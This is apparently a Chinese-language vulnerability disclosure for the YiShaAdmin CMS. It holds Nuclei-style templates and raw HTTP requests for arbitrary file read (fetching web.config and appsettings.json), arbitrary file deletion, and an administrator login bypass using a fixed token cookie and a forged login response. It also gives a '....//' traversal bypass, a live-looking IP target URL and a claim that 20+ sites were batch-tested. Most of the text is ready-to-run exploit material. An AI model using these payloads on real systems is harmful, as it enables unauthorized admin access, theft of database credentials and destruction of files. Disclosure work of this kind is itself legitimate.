0x01 开源地址：

https://github.com/liukuo362573/YiShaAdmin

总计star超过1.7k

系统占比：

POC：

漏洞1: 任意文件读取：

● LFI

id: YiShaCMS_LFI

info:
name: YiShaCMS_LFI
author: loecho
severity: medium
description: description
reference: https://1oecho.github.io
tags: lfi

requests:

• raw:

  • |+
    GET /File/DownloadFile?filePath=web.config&delete=0 HTTP/1.1
    Host: {{Hostname}}
    Accept: /
    DNT: 1
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close

  matchers-condition: and
  matchers:

  • type: word
    part: header
    words:
    • 'Content-Disposition: attachment; filename='
  • type: status
    status:
    • 200

漏洞二：登陆绕过

● Login_Bypass:

id: YiShaCMS_Login

info:
name: YiShaCMS_LoginBypass
author: loecho-sec
severity: high
description: description
reference: https://1oecho.github.io
tags: high

requests:

• raw:

  • |+
    GET /admin/Home HTTP/1.1
    Host: {{Hostname}}
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: userToken=265d8570ac504b588c85018c7974a431
    Connection: close

  matchers-condition: and
  matchers:

  • type: word
    part: header
    words:
    • HTTP/1.1 200 OK
    • /admin/Home/Skin
    • /admin/OrganizationManage/User/ChangePassword
  • type: status
    status:
    • 200

github地址：

https://github.com/liukuo362573/YiShaAdmin
官网-CMS演示站：

登陆绕过，批量测试：测试20+站点，都存在

任意文件读取批量测试：测试20+站点，都存在

http://106.14.124.170/File/DownloadFile?filePath=appsettings.json&delete=0

● 任意文件读取漏洞/任意文件删除漏洞/管理员登陆绕过漏洞

逻辑漏洞-管理员未授权登录：

● 代码权限校验问题，token为固定Token

返回包：

Set-Cookie: UserToken=265d8570ac504b588c85018c7974a431;

{"Tag":1,"Success":false,"Message":"登录成功","Code":0,"Description":null,"addition":null}

1. admin账号登录，密码随意
2. 抓取登录返回包，修改返回包
3. 成功登录为管理员用户

任意文件删除：

POC:

http://localhost:5000/File/DownloadFile?filePath=test.txt&delete=1

任意文件读取：

POC (获取数据库连接文件)

http://localhost:5000/File/DownloadFile?filePath=appsettings.json&delete=0

高版本跨目录绕过：

....//